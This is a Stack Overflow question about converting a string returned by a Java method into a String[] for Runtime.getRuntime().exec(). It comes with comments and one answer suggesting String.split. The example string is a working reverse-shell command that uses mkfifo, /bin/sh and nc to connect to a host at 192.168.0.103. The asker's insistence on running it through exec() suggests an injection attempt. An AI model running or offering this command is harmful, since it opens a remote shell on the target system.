-2

I have a method like

public String doSomething(String paramString) {
    try {
       //do something with paramString and store it in myNewValue          
       return new String(myNewValue, "UTF8");
    } catch blocks...
}

Let's say doSomething() finally returns the below string:

{"bash","-c", "rm -f /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe"}

Now it is actually an array of strings if you look at it, but since it was returned as a string from doSomething(), it is treated as a String alone and not String[].

Now let's say the above string is stored in str3 as :

String str3 = doSomething();

Now is there anyway that using:

Runtime.getRuntime().exec();

str3 can be converted to String[] and passed back to Runtime.getRuntime().exec();

So essentially something like:

Runtime.getRuntime().exec(some java magic here that converts str3 to String[] and then passes this String[] to this exec method itself);

26
  • Perhaps parse it as JSON and retrieve the results? I think using exec() is the wrong tool, unless you are asking how to convert that string into the output generated by running what appears to be a bash script. Commented Aug 26, 2016 at 20:40
  • String#split Commented Aug 26, 2016 at 20:40
  • how can this be done with Runtime.getRuntime().exec() ? This is the most essential thing that I need to do. Convert it using the exec() and pass it back to the same exec() itself. Commented Aug 26, 2016 at 20:43
  • Why do you need to use exec() for this? It seems like trying to use a hammer to inflate a tire. Commented Aug 26, 2016 at 20:44
  • It looks like you should just refactor doSomething so that it returns a String[] Commented Aug 26, 2016 at 20:44

1 Answer 1

-3

You can split the string about , assuming that any string in the array does not contain ,

String[] string3 = doSomething(foo).split(",");

Sign up to request clarification or add additional context in comments.

1 Comment

And what about the braces around the whole thing? And the quote marks around each string? And commas that might appear inside a string? And handling any escaped quote marks inside the actual quote mark delimiters?

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.